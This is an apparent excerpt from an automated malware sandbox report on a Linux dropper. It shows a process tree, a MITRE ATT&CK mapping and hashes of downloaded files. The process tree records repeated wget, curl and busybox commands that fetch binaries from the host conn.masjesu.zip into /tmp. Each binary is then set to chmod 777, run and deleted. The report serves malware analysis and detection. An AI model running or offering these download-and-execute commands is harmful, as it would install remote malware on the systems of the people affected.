- /tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  ./dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:971
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:975
- /bin/chmod
  chmod 777 OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  ./OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  ./yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  PID:991
- /bin/chmod
  chmod 777 JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  ./JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  PID:999
- /bin/chmod
  chmod 777 xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  ./xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:1006
- /bin/chmod
  chmod 777 OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  ./OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:1009
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - System Network Configuration Discovery
  PID:1010
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1011
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /bin/chmod
  chmod 777 fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - File and Directory Permissions Modification
  PID:1014
- /tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  ./fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Executes dropped EXE
  PID:1015
- /bin/rm
  rm fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  PID:1016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE

Path /tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb

Path /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512